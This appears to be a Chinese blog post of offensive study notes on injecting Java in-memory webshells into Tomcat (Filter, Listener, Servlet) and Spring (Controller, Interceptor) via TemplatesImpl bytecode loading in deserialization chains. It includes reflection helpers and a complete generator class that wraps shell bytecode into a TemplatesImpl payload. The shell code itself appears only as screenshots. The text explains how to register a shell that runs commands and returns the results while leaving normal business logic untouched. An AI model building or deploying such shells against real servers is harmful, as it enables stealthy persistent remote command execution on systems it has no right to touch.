内存马先告一段落,后续还有别的中间件的内存马等着。

https://goodapple.top/archives/1355

前置知识

TemplatesImpl#getOutputProperties加载字节码的过程

关于版本问题和注入原理参考前面。

Tomcat内存马

一般思路

一般都是结合TemplatesImpl使用。

注入流程:

1、写马。所有马都要extends AbstractTranslet,然后实现对应类型的接口(Filter,ServletRequestListener,Servlet)。马的无参构造里获得StandardContext,然后注册自己,各个马的注册方式之前分析过。为什么在无参构造里注册,因为TemplatesImpl加载完字节码后会newInstance()。当然也可以在static块里注册。最后在马处理请求的方法里执行命令,返回结果。

2、写完马后,获得马的字节码,赋给TemplatesImpl._bytecodes。还得处理好TemplatesImpl的其他属性,至于为什么,得先看前置知识。

3、补充完readObject->...->TemplatesImpl#getOutputProperties的链子。

以下我的测试环境:JDK8u_201,Tomcat8.5.81。Tomcat10就把javax改为jakarta即可。

三种马都会用到一些反射读写对象属性的轮子方法,可以直接写在马里面。

注意,写的马如果用到自己写的工具类或者方法什么的都必须写在马里面,因为打远程时候远程是找不到你的工具类的。

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static Object getFieldValue(Object obj,String fieldname) throws Exception{
Field field = getField(obj.getClass(), fieldname);
Object o = field.get(obj);
return o;
}

filter

无参构造处注册自己,注意setFilter传this。

image-20240207161004328.png

在处理请求的地方执行命令并回显结果,注意别影响正常业务逻辑

image-20240207161154036.png

然后剩下的其他重写的方法都不用写。

listener

image-20240207161334597.png

image-20240207161410960.png

servlet

image-20240207161709122.png

image-20240207161725531.png

封装

马写好后,把字节码传给TemplatesImpl。

最后得到的TemplatesImpl只要一调用getOutputProperties就立刻注入马。

public class TomcatShellGen {

public static TemplatesImpl servletShell() throws Exception{
return doGen("ServletShell.class");
}
public static TemplatesImpl listenerShell() throws Exception{
return doGen("ListenerShell.class");
}
public static TemplatesImpl filterShell() throws Exception{
return doGen("FilterShell.class");
}
public static TemplatesImpl doGen(String shellClass) throws Exception{
InputStream resourceAsStream = TomcatShellGen.class.getResourceAsStream(shellClass);
byte[] code = Util.inputStream2ByteArray(resourceAsStream);
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
TemplatesImpl o = new TemplatesImpl();
byte[][] b = new byte[][]{code};
bytecodes.set(o, b);
Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(o, "Hello");
Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(o, new TransformerFactoryImpl());
Field _transletIndex = clazz.getDeclaredField("_transletIndex");
_transletIndex.setAccessible(true);
_transletIndex.set(o, 0);
return o;
}
}

目录结构

image-20240207161936867.png

Spring内存马

一般思路

1、实现在无参构造或者static块里获得context,再获得RequestMappingHandlerMapping,再注册自己,对象传this。

2、在处理请求的方法里执行命令。

3、马完成了,后续操作和上面的一样。

controller

extends AbstractTranslet 即可。

image-20240207191649990.png

image-20240207191719731.png

另一个版本的controller马换一个注册方式即可。

Interceptor

extends AbstractTranslet implements HandlerInterceptor

image-20240207192100034.png

问题

全部马的反序列化方式都写完了,貌似并没有专门用到Tomcat回显技术???